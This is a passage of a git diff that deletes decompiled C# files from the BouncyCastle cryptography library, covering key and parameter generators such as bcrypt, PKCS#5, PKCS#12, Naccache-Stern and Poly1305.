{ - throw new ArgumentException("MGF parameters required for MGF1Generator"); - } - MgfParameters mgfParameters = (MgfParameters)parameters; - seed = mgfParameters.GetSeed(); - } - - private void ItoOSP(int i, byte[] sp) - { - sp[0] = (byte)((uint)i >> 24); - sp[1] = (byte)((uint)i >> 16); - sp[2] = (byte)((uint)i >> 8); - sp[3] = (byte)i; - } - - public int GenerateBytes(byte[] output, int outOff, int length) - { - if (output.Length - length < outOff) - { - throw new DataLengthException("output buffer too small"); - } - byte[] array = new byte[hLen]; - byte[] array2 = new byte[4]; - int num = 0; - digest.Reset(); - if (length > hLen) - { - do - { - ItoOSP(num, array2); - digest.BlockUpdate(seed, 0, seed.Length); - digest.BlockUpdate(array2, 0, array2.Length); - digest.DoFinal(array, 0); - Array.Copy(array, 0, output, outOff + num * hLen, hLen); - } - while (++num < length / hLen); - } - if (num * hLen < length) - { - ItoOSP(num, array2); - digest.BlockUpdate(seed, 0, seed.Length); - digest.BlockUpdate(array2, 0, array2.Length); - digest.DoFinal(array, 0); - Array.Copy(array, 0, output, outOff + num * hLen, length - num * hLen); - } - return length; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/NaccacheSternKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/NaccacheSternKeyPairGenerator.cs deleted file mode 100644 index 3c95d9f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/NaccacheSternKeyPairGenerator.cs +++ /dev/null @@ -1,153 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class NaccacheSternKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private static readonly int[] smallPrimes = new int[101] - { - 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, - 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, - 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, - 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, - 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, - 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, - 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, - 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, - 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, - 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, - 557 - }; - - private NaccacheSternKeyGenerationParameters param; - - public void Init(KeyGenerationParameters parameters) - { - param = (NaccacheSternKeyGenerationParameters)parameters; - } - - public AsymmetricCipherKeyPair GenerateKeyPair() - { - int strength = param.Strength; - SecureRandom random = param.Random; - int certainty = param.Certainty; - IList arr = findFirstPrimes(param.CountSmallPrimes); - arr = permuteList(arr, random); - BigInteger bigInteger = BigInteger.One; - BigInteger bigInteger2 = BigInteger.One; - for (int i = 0; i < arr.Count / 2; i++) - { - bigInteger = bigInteger.Multiply((BigInteger)arr[i]); - } - for (int j = arr.Count / 2; j < arr.Count; j++) - { - bigInteger2 = bigInteger2.Multiply((BigInteger)arr[j]); - } - BigInteger bigInteger3 = bigInteger.Multiply(bigInteger2); - int num = strength - bigInteger3.BitLength - 48; - BigInteger bigInteger4 = generatePrime(num / 2 + 1, certainty, random); - BigInteger bigInteger5 = generatePrime(num / 2 + 1, certainty, random); - long num2 = 0L; - BigInteger val = bigInteger4.Multiply(bigInteger).ShiftLeft(1); - BigInteger val2 = bigInteger5.Multiply(bigInteger2).ShiftLeft(1); - BigInteger bigInteger6; - BigInteger bigInteger7; - BigInteger bigInteger8; - BigInteger bigInteger9; - while (true) - { - num2++; - bigInteger6 = generatePrime(24, certainty, random); - bigInteger7 = bigInteger6.Multiply(val).Add(BigInteger.One); - if (!bigInteger7.IsProbablePrime(certainty, randomlySelected: true)) - { - continue; - } - while (true) - { - bigInteger8 = generatePrime(24, certainty, random); - if (!bigInteger6.Equals(bigInteger8)) - { - bigInteger9 = bigInteger8.Multiply(val2).Add(BigInteger.One); - if (bigInteger9.IsProbablePrime(certainty, randomlySelected: true)) - { - break; - } - } - } - if (bigInteger3.Gcd(bigInteger6.Multiply(bigInteger8)).Equals(BigInteger.One) && bigInteger7.Multiply(bigInteger9).BitLength >= strength) - { - break; - } - } - BigInteger bigInteger10 = bigInteger7.Multiply(bigInteger9); - BigInteger bigInteger11 = bigInteger7.Subtract(BigInteger.One).Multiply(bigInteger9.Subtract(BigInteger.One)); - num2 = 0L; - BigInteger bigInteger12; - bool flag; - do - { - IList list = Platform.CreateArrayList(); - for (int k = 0; k != arr.Count; k++) - { - BigInteger val3 = (BigInteger)arr[k]; - BigInteger e = bigInteger11.Divide(val3); - do - { - num2++; - bigInteger12 = generatePrime(strength, certainty, random); - } - while (bigInteger12.ModPow(e, bigInteger10).Equals(BigInteger.One)); - list.Add(bigInteger12); - } - bigInteger12 = BigInteger.One; - for (int l = 0; l < arr.Count; l++) - { - BigInteger bigInteger13 = (BigInteger)list[l]; - BigInteger val4 = (BigInteger)arr[l]; - bigInteger12 = bigInteger12.Multiply(bigInteger13.ModPow(bigInteger3.Divide(val4), bigInteger10)).Mod(bigInteger10); - } - flag = false; - for (int m = 0; m < arr.Count; m++) - { - if (bigInteger12.ModPow(bigInteger11.Divide((BigInteger)arr[m]), bigInteger10).Equals(BigInteger.One)) - { - flag = true; - break; - } - } - } - while (flag || bigInteger12.ModPow(bigInteger11.ShiftRight(2), bigInteger10).Equals(BigInteger.One) || bigInteger12.ModPow(bigInteger11.Divide(bigInteger6), bigInteger10).Equals(BigInteger.One) || bigInteger12.ModPow(bigInteger11.Divide(bigInteger8), bigInteger10).Equals(BigInteger.One) || bigInteger12.ModPow(bigInteger11.Divide(bigInteger4), bigInteger10).Equals(BigInteger.One) || bigInteger12.ModPow(bigInteger11.Divide(bigInteger5), bigInteger10).Equals(BigInteger.One)); - return new AsymmetricCipherKeyPair(new NaccacheSternKeyParameters(privateKey: false, bigInteger12, bigInteger10, bigInteger3.BitLength), new NaccacheSternPrivateKeyParameters(bigInteger12, bigInteger10, bigInteger3.BitLength, arr, bigInteger11)); - } - - private static BigInteger generatePrime(int bitLength, int certainty, SecureRandom rand) - { - return new BigInteger(bitLength, certainty, rand); - } - - private static IList permuteList(IList arr, SecureRandom rand) - { - IList list = Platform.CreateArrayList(arr.Count); - foreach (object item in arr) - { - int index = rand.Next(list.Count + 1); - list.Insert(index, item); - } - return list; - } - - private static IList findFirstPrimes(int count) - { - IList list = Platform.CreateArrayList(count); - for (int i = 0; i != count; i++) - { - list.Add(BigInteger.ValueOf(smallPrimes[i])); - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/OpenBsdBCrypt.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/OpenBsdBCrypt.cs deleted file mode 100644 index 53a9284..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/OpenBsdBCrypt.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; -using System.IO; -using System.Text; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class OpenBsdBCrypt -{ - private static readonly byte[] EncodingTable; - - private static readonly byte[] DecodingTable; - - private static readonly string DefaultVersion; - - private static readonly ISet AllowedVersions; - - static OpenBsdBCrypt() - { - EncodingTable = new byte[64] - { - 46, 47, 65, 66, 67, 68, 69, 70, 71, 72, - 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, - 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, - 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, - 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, - 119, 120, 121, 122, 48, 49, 50, 51, 52, 53, - 54, 55, 56, 57 - }; - DecodingTable = new byte[128]; - DefaultVersion = "2y"; - AllowedVersions = new HashSet(); - AllowedVersions.Add("2a"); - AllowedVersions.Add("2y"); - AllowedVersions.Add("2b"); - for (int i = 0; i < DecodingTable.Length; i++) - { - DecodingTable[i] = byte.MaxValue; - } - for (int j = 0; j < EncodingTable.Length; j++) - { - DecodingTable[EncodingTable[j]] = (byte)j; - } - } - - private static string CreateBcryptString(string version, byte[] password, byte[] salt, int cost) - { - if (!AllowedVersions.Contains(version)) - { - throw new ArgumentException("Version " + version + " is not accepted by this implementation.", "version"); - } - StringBuilder stringBuilder = new StringBuilder(60); - stringBuilder.Append('$'); - stringBuilder.Append(version); - stringBuilder.Append('$'); - stringBuilder.Append((cost < 10) ? ("0" + cost) : cost.ToString()); - stringBuilder.Append('$'); - stringBuilder.Append(EncodeData(salt)); - byte[] data = BCrypt.Generate(password, salt, cost); - stringBuilder.Append(EncodeData(data)); - return stringBuilder.ToString(); - } - - public static string Generate(char[] password, byte[] salt, int cost) - { - return Generate(DefaultVersion, password, salt, cost); - } - - public static string Generate(string version, char[] password, byte[] salt, int cost) - { - if (!AllowedVersions.Contains(version)) - { - throw new ArgumentException("Version " + version + " is not accepted by this implementation.", "version"); - } - if (password == null) - { - throw new ArgumentNullException("password"); - } - if (salt == null) - { - throw new ArgumentNullException("salt"); - } - if (salt.Length != 16) - { - throw new DataLengthException("16 byte salt required: " + salt.Length); - } - if (cost < 4 || cost > 31) - { - throw new ArgumentException("Invalid cost factor.", "cost"); - } - byte[] array = Strings.ToUtf8ByteArray(password); - byte[] array2 = new byte[(array.Length >= 72) ? 72 : (array.Length + 1)]; - int length = System.Math.Min(array.Length, array2.Length); - Array.Copy(array, 0, array2, 0, length); - Array.Clear(array, 0, array.Length); - string result = CreateBcryptString(version, array2, salt, cost); - Array.Clear(array2, 0, array2.Length); - return result; - } - - public static bool CheckPassword(string bcryptString, char[] password) - { - if (bcryptString.Length != 60) - { - throw new DataLengthException("Bcrypt String length: " + bcryptString.Length + ", 60 required."); - } - if (bcryptString[0] != '$' || bcryptString[3] != '$' || bcryptString[6] != '$') - { - throw new ArgumentException("Invalid Bcrypt String format.", "bcryptString"); - } - string text = bcryptString.Substring(1, 2); - if (!AllowedVersions.Contains(text)) - { - throw new ArgumentException("Bcrypt version '" + text + "' is not supported by this implementation", "bcryptString"); - } - int num = 0; - try - { - num = int.Parse(bcryptString.Substring(4, 2)); - } - catch (Exception innerException) - { - throw new ArgumentException("Invalid cost factor: " + bcryptString.Substring(4, 2), "bcryptString", innerException); - } - if (num < 4 || num > 31) - { - throw new ArgumentException("Invalid cost factor: " + num + ", 4 < cost < 31 expected."); - } - if (password == null) - { - throw new ArgumentNullException("Missing password."); - } - int num2 = bcryptString.LastIndexOf('$') + 1; - int num3 = bcryptString.Length - 31; - byte[] salt = DecodeSaltString(bcryptString.Substring(num2, num3 - num2)); - string value = Generate(text, password, salt, num); - return bcryptString.Equals(value); - } - - private static string EncodeData(byte[] data) - { - if (data.Length != 24 && data.Length != 16) - { - throw new DataLengthException("Invalid length: " + data.Length + ", 24 for key or 16 for salt expected"); - } - bool flag = false; - if (data.Length == 16) - { - flag = true; - byte[] array = new byte[18]; - Array.Copy(data, 0, array, 0, data.Length); - data = array; - } - else - { - data[^1] = 0; - } - MemoryStream memoryStream = new MemoryStream(); - int num = data.Length; - for (int i = 0; i < num; i += 3) - { - uint num2 = data[i]; - uint num3 = data[i + 1]; - uint num4 = data[i + 2]; - memoryStream.WriteByte(EncodingTable[(num2 >> 2) & 0x3F]); - memoryStream.WriteByte(EncodingTable[((num2 << 4) | (num3 >> 4)) & 0x3F]); - memoryStream.WriteByte(EncodingTable[((num3 << 2) | (num4 >> 6)) & 0x3F]); - memoryStream.WriteByte(EncodingTable[num4 & 0x3F]); - } - string text = Strings.FromByteArray(memoryStream.ToArray()); - return text[..(flag ? 22 : (text.Length - 1))]; - } - - private static byte[] DecodeSaltString(string saltString) - { - char[] array = saltString.ToCharArray(); - MemoryStream memoryStream = new MemoryStream(16); - if (array.Length != 22) - { - throw new DataLengthException("Invalid base64 salt length: " + array.Length + " , 22 required."); - } - foreach (int num in array) - { - switch (num) - { - case 46: - case 47: - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - case 91: - case 92: - case 93: - case 94: - case 95: - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - case 106: - case 107: - case 108: - case 109: - case 110: - case 111: - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - continue; - } - throw new ArgumentException("Salt string contains invalid character: " + num, "saltString"); - } - char[] array2 = new char[24]; - Array.Copy(array, 0, array2, 0, array.Length); - array = array2; - int num2 = array.Length; - for (int j = 0; j < num2; j += 4) - { - byte b = DecodingTable[(uint)array[j]]; - byte b2 = DecodingTable[(uint)array[j + 1]]; - byte b3 = DecodingTable[(uint)array[j + 2]]; - byte b4 = DecodingTable[(uint)array[j + 3]]; - memoryStream.WriteByte((byte)((b << 2) | (b2 >> 4))); - memoryStream.WriteByte((byte)((b2 << 4) | (b3 >> 2))); - memoryStream.WriteByte((byte)((b3 << 6) | b4)); - } - byte[] sourceArray = memoryStream.ToArray(); - byte[] array3 = new byte[16]; - Array.Copy(sourceArray, 0, array3, 0, array3.Length); - return array3; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/OpenSslPbeParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/OpenSslPbeParametersGenerator.cs deleted file mode 100644 index 80aac42..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/OpenSslPbeParametersGenerator.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class OpenSslPbeParametersGenerator : PbeParametersGenerator -{ - private readonly IDigest digest = new MD5Digest(); - - public override void Init(byte[] password, byte[] salt, int iterationCount) - { - base.Init(password, salt, 1); - } - - public virtual void Init(byte[] password, byte[] salt) - { - base.Init(password, salt, 1); - } - - private byte[] GenerateDerivedKey(int bytesNeeded) - { - byte[] array = new byte[digest.GetDigestSize()]; - byte[] array2 = new byte[bytesNeeded]; - int num = 0; - while (true) - { - digest.BlockUpdate(mPassword, 0, mPassword.Length); - digest.BlockUpdate(mSalt, 0, mSalt.Length); - digest.DoFinal(array, 0); - int num2 = ((bytesNeeded > array.Length) ? array.Length : bytesNeeded); - Array.Copy(array, 0, array2, num, num2); - num += num2; - bytesNeeded -= num2; - if (bytesNeeded == 0) - { - break; - } - digest.Reset(); - digest.BlockUpdate(array, 0, array.Length); - } - return array2; - } - - [Obsolete("Use version with 'algorithm' parameter")] - public override ICipherParameters GenerateDerivedParameters(int keySize) - { - return GenerateDerivedMacParameters(keySize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize) - { - keySize /= 8; - byte[] keyBytes = GenerateDerivedKey(keySize); - return ParameterUtilities.CreateKeyParameter(algorithm, keyBytes, 0, keySize); - } - - [Obsolete("Use version with 'algorithm' parameter")] - public override ICipherParameters GenerateDerivedParameters(int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - byte[] array = GenerateDerivedKey(keySize + ivSize); - return new ParametersWithIV(new KeyParameter(array, 0, keySize), array, keySize, ivSize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - byte[] array = GenerateDerivedKey(keySize + ivSize); - KeyParameter parameters = ParameterUtilities.CreateKeyParameter(algorithm, array, 0, keySize); - return new ParametersWithIV(parameters, array, keySize, ivSize); - } - - public override ICipherParameters GenerateDerivedMacParameters(int keySize) - { - keySize /= 8; - byte[] key = GenerateDerivedKey(keySize); - return new KeyParameter(key, 0, keySize); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs12ParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs12ParametersGenerator.cs deleted file mode 100644 index 8a126c9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs12ParametersGenerator.cs +++ /dev/null @@ -1,150 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Pkcs12ParametersGenerator : PbeParametersGenerator -{ - public const int KeyMaterial = 1; - - public const int IVMaterial = 2; - - public const int MacMaterial = 3; - - private readonly IDigest digest; - - private readonly int u; - - private readonly int v; - - public Pkcs12ParametersGenerator(IDigest digest) - { - this.digest = digest; - u = digest.GetDigestSize(); - v = digest.GetByteLength(); - } - - private void Adjust(byte[] a, int aOff, byte[] b) - { - int num = (b[^1] & 0xFF) + (a[aOff + b.Length - 1] & 0xFF) + 1; - a[aOff + b.Length - 1] = (byte)num; - num >>>= 8; - for (int num2 = b.Length - 2; num2 >= 0; num2--) - { - num += (b[num2] & 0xFF) + (a[aOff + num2] & 0xFF); - a[aOff + num2] = (byte)num; - num >>>= 8; - } - } - - private byte[] GenerateDerivedKey(int idByte, int n) - { - byte[] array = new byte[v]; - byte[] array2 = new byte[n]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (byte)idByte; - } - byte[] array3; - if (mSalt != null && mSalt.Length != 0) - { - array3 = new byte[v * ((mSalt.Length + v - 1) / v)]; - for (int j = 0; j != array3.Length; j++) - { - array3[j] = mSalt[j % mSalt.Length]; - } - } - else - { - array3 = new byte[0]; - } - byte[] array4; - if (mPassword != null && mPassword.Length != 0) - { - array4 = new byte[v * ((mPassword.Length + v - 1) / v)]; - for (int k = 0; k != array4.Length; k++) - { - array4[k] = mPassword[k % mPassword.Length]; - } - } - else - { - array4 = new byte[0]; - } - byte[] array5 = new byte[array3.Length + array4.Length]; - Array.Copy(array3, 0, array5, 0, array3.Length); - Array.Copy(array4, 0, array5, array3.Length, array4.Length); - byte[] array6 = new byte[v]; - int num = (n + u - 1) / u; - byte[] array7 = new byte[u]; - for (int l = 1; l <= num; l++) - { - digest.BlockUpdate(array, 0, array.Length); - digest.BlockUpdate(array5, 0, array5.Length); - digest.DoFinal(array7, 0); - for (int m = 1; m != mIterationCount; m++) - { - digest.BlockUpdate(array7, 0, array7.Length); - digest.DoFinal(array7, 0); - } - for (int num2 = 0; num2 != array6.Length; num2++) - { - array6[num2] = array7[num2 % array7.Length]; - } - for (int num3 = 0; num3 != array5.Length / v; num3++) - { - Adjust(array5, num3 * v, array6); - } - if (l == num) - { - Array.Copy(array7, 0, array2, (l - 1) * u, array2.Length - (l - 1) * u); - } - else - { - Array.Copy(array7, 0, array2, (l - 1) * u, array7.Length); - } - } - return array2; - } - - public override ICipherParameters GenerateDerivedParameters(int keySize) - { - keySize /= 8; - byte[] key = GenerateDerivedKey(1, keySize); - return new KeyParameter(key, 0, keySize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize) - { - keySize /= 8; - byte[] keyBytes = GenerateDerivedKey(1, keySize); - return ParameterUtilities.CreateKeyParameter(algorithm, keyBytes, 0, keySize); - } - - public override ICipherParameters GenerateDerivedParameters(int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - byte[] key = GenerateDerivedKey(1, keySize); - byte[] iv = GenerateDerivedKey(2, ivSize); - return new ParametersWithIV(new KeyParameter(key, 0, keySize), iv, 0, ivSize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - byte[] keyBytes = GenerateDerivedKey(1, keySize); - KeyParameter parameters = ParameterUtilities.CreateKeyParameter(algorithm, keyBytes, 0, keySize); - byte[] iv = GenerateDerivedKey(2, ivSize); - return new ParametersWithIV(parameters, iv, 0, ivSize); - } - - public override ICipherParameters GenerateDerivedMacParameters(int keySize) - { - keySize /= 8; - byte[] key = GenerateDerivedKey(3, keySize); - return new KeyParameter(key, 0, keySize); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs5S1ParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs5S1ParametersGenerator.cs deleted file mode 100644 index 72bf279..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs5S1ParametersGenerator.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Pkcs5S1ParametersGenerator : PbeParametersGenerator -{ - private readonly IDigest digest; - - public Pkcs5S1ParametersGenerator(IDigest digest) - { - this.digest = digest; - } - - private byte[] GenerateDerivedKey() - { - byte[] array = new byte[digest.GetDigestSize()]; - digest.BlockUpdate(mPassword, 0, mPassword.Length); - digest.BlockUpdate(mSalt, 0, mSalt.Length); - digest.DoFinal(array, 0); - for (int i = 1; i < mIterationCount; i++) - { - digest.BlockUpdate(array, 0, array.Length); - digest.DoFinal(array, 0); - } - return array; - } - - public override ICipherParameters GenerateDerivedParameters(int keySize) - { - return GenerateDerivedMacParameters(keySize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize) - { - keySize /= 8; - if (keySize > digest.GetDigestSize()) - { - throw new ArgumentException("Can't Generate a derived key " + keySize + " bytes long."); - } - byte[] keyBytes = GenerateDerivedKey(); - return ParameterUtilities.CreateKeyParameter(algorithm, keyBytes, 0, keySize); - } - - public override ICipherParameters GenerateDerivedParameters(int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - if (keySize + ivSize > digest.GetDigestSize()) - { - throw new ArgumentException("Can't Generate a derived key " + (keySize + ivSize) + " bytes long."); - } - byte[] array = GenerateDerivedKey(); - return new ParametersWithIV(new KeyParameter(array, 0, keySize), array, keySize, ivSize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - if (keySize + ivSize > digest.GetDigestSize()) - { - throw new ArgumentException("Can't Generate a derived key " + (keySize + ivSize) + " bytes long."); - } - byte[] array = GenerateDerivedKey(); - KeyParameter parameters = ParameterUtilities.CreateKeyParameter(algorithm, array, 0, keySize); - return new ParametersWithIV(parameters, array, keySize, ivSize); - } - - public override ICipherParameters GenerateDerivedMacParameters(int keySize) - { - keySize /= 8; - if (keySize > digest.GetDigestSize()) - { - throw new ArgumentException("Can't Generate a derived key " + keySize + " bytes long."); - } - byte[] key = GenerateDerivedKey(); - return new KeyParameter(key, 0, keySize); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs5S2ParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs5S2ParametersGenerator.cs deleted file mode 100644 index a189f96..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Pkcs5S2ParametersGenerator.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Pkcs5S2ParametersGenerator : PbeParametersGenerator -{ - private readonly IMac hMac; - - private readonly byte[] state; - - public Pkcs5S2ParametersGenerator() - : this(new Sha1Digest()) - { - } - - public Pkcs5S2ParametersGenerator(IDigest digest) - { - hMac = new HMac(digest); - state = new byte[hMac.GetMacSize()]; - } - - private void F(byte[] S, int c, byte[] iBuf, byte[] outBytes, int outOff) - { - if (c == 0) - { - throw new ArgumentException("iteration count must be at least 1."); - } - if (S != null) - { - hMac.BlockUpdate(S, 0, S.Length); - } - hMac.BlockUpdate(iBuf, 0, iBuf.Length); - hMac.DoFinal(state, 0); - Array.Copy(state, 0, outBytes, outOff, state.Length); - for (int i = 1; i < c; i++) - { - hMac.BlockUpdate(state, 0, state.Length); - hMac.DoFinal(state, 0); - for (int j = 0; j < state.Length; j++) - { - byte[] array2; - byte[] array = (array2 = outBytes); - int num = outOff + j; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ state[j]); - } - } - } - - private byte[] GenerateDerivedKey(int dkLen) - { - int macSize = hMac.GetMacSize(); - int num = (dkLen + macSize - 1) / macSize; - byte[] array = new byte[4]; - byte[] array2 = new byte[num * macSize]; - int num2 = 0; - ICipherParameters parameters = new KeyParameter(mPassword); - hMac.Init(parameters); - for (int i = 1; i <= num; i++) - { - int num3 = 3; - while (true) - { - byte[] array4; - byte[] array3 = (array4 = array); - int num4 = num3; - nint num5 = num4; - if ((array3[num4] = (byte)(array4[num5] + 1)) != 0) - { - break; - } - num3--; - } - F(mSalt, mIterationCount, array, array2, num2); - num2 += macSize; - } - return array2; - } - - public override ICipherParameters GenerateDerivedParameters(int keySize) - { - return GenerateDerivedMacParameters(keySize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize) - { - keySize /= 8; - byte[] keyBytes = GenerateDerivedKey(keySize); - return ParameterUtilities.CreateKeyParameter(algorithm, keyBytes, 0, keySize); - } - - public override ICipherParameters GenerateDerivedParameters(int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - byte[] array = GenerateDerivedKey(keySize + ivSize); - return new ParametersWithIV(new KeyParameter(array, 0, keySize), array, keySize, ivSize); - } - - public override ICipherParameters GenerateDerivedParameters(string algorithm, int keySize, int ivSize) - { - keySize /= 8; - ivSize /= 8; - byte[] array = GenerateDerivedKey(keySize + ivSize); - KeyParameter parameters = ParameterUtilities.CreateKeyParameter(algorithm, array, 0, keySize); - return new ParametersWithIV(parameters, array, keySize, ivSize); - } - - public override ICipherParameters GenerateDerivedMacParameters(int keySize) - { - keySize /= 8; - byte[] key = GenerateDerivedKey(keySize); - return new KeyParameter(key, 0, keySize); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Poly1305KeyGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Poly1305KeyGenerator.cs deleted file mode 100644 index b38c310..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Poly1305KeyGenerator.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Poly1305KeyGenerator : CipherKeyGenerator -{ - private const byte R_MASK_LOW_2 = 252; - - private const byte R_MASK_HIGH_4 = 15; - - protected override void engineInit(KeyGenerationParameters param) - { - random = param.Random; - strength = 32; - } - - protected override byte[] engineGenerateKey() - { - byte[] array = base.engineGenerateKey(); - Clamp(array); - return array; - } - - public static void Clamp(byte[] key) - { - if (key.Length != 32) - { - throw new ArgumentException("Poly1305 key must be 256 bits."); - } - byte[] array; - (array = key)[3] = (byte)(array[3] & 0xF); - (array = key)[7] = (byte)(array[7] & 0xF); - (array = key)[11] = (byte)(array[11] & 0xF); - (array = key)[15] = (byte)(array[15] & 0xF); - (array = key)[4] = (byte)(array[4] & 0xFC); - (array = key)[8] = (byte)(array[8] & 0xFC); - (array = key)[12] = (byte)(array[12] & 0xFC); - } - - public static void CheckKey(byte[] key) - { - if (key.Length != 32) - { - throw new ArgumentException("Poly1305 key must be 256 bits."); - } - CheckMask(key[3], 15); - CheckMask(key[7], 15); - CheckMask(key[11], 15); - CheckMask(key[15], 15); - CheckMask(key[4], 252); - CheckMask(key[8], 252); - CheckMask(key[12], 252); - } - - private static void CheckMask(byte b, byte mask) - { - if ((b & ~mask) != 0) - { - throw new ArgumentException("Invalid format for r portion of Poly1305 key."); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/RsaBlindingFactorGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/RsaBlindingFactorGenerator.cs deleted file mode 100644 index 4fc16e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/RsaBlindingFactorGenerator.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class RsaBlindingFactorGenerator -{ - private RsaKeyParameters key; - - private SecureRandom random; - - public void Init(ICipherParameters param) - { - if (param is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)param; - key = (RsaKeyParameters)parametersWithRandom.Parameters; - random = parametersWithRandom.Random; - } - else - { - key = (RsaKeyParameters)param; - random = new SecureRandom(); - } - if (key.IsPrivate) - { - throw new ArgumentException("generator requires RSA public key"); - } - } - - public BigInteger GenerateBlindingFactor() - { - if (key == null) - { - throw new InvalidOperationException("generator not initialised"); - } - BigInteger modulus = key.Modulus; - int sizeInBits = modulus.BitLength - 1; - BigInteger bigInteger; - BigInteger bigInteger2; - do - { - bigInteger = new BigInteger(sizeInBits, random); - bigInteger2 = bigInteger.Gcd(modulus); - } - while 